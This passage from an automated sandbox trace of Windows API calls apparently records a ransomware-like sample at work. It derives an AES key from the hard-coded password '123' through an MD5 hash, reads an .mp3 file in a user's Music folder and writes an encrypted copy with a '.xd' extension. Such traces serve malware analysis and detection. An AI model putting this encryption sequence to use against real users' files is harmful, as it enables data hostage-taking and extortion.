wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.593] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.593] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.593] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.593] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.593] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.593] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.593] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.593] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.593] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.593] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.593] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.593] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.593] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.593] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.594] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.594] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.594] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.594] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.594] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.594] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.594] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.594] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.594] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.594] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.594] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.594] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.594] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.594] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.595] CryptCreateHash (in: hProv=0x17ab880, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.595] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.595] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.595] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.595] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.595] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.595] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629540, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.595] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.595] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.595] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.595] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.596] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.596] CryptHashData (hHash=0x164c770, pbData=0x16296d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.596] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.596] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.596] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.596] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.596] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621780, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.596] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.596] CryptDeriveKey (in: hProv=0x17ab880, Algid=0x6610, hBaseData=0x164c770, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0063.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.597] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.597] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.597] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.597] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.597] CryptDestroyHash (hHash=0x164c770) returned 1 [0063.597] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.597] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.597] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.597] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.597] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.598] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\n0mtwc1vtk_pj.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.598] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.598] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.598] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht")) returned 0x10 [0063.606] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\n0mtwc1vtk_pj.mp3.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.607] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.607] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.607] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.607] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.610] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.610] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0063.612] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5387, lpOverlapped=0x0) returned 1 [0063.612] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.623] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.623] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.623] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.624] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.625] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.625] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.625] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.625] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.625] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.625] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.625] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.625] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.625] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0063.625] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.626] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.626] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x16295d0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16295d0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.626] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.626] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.626] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.626] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.626] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.626] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.626] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.626] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.627] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.627] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.627] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.628] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.628] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x15387, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x15390) returned 1 [0063.628] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.628] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.628] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.628] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.628] CharLowerBuffW (in: lpsz="byte[86929]", cchLength=0xb | out: lpsz="byte[86929]") returned 0xb [0063.628] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 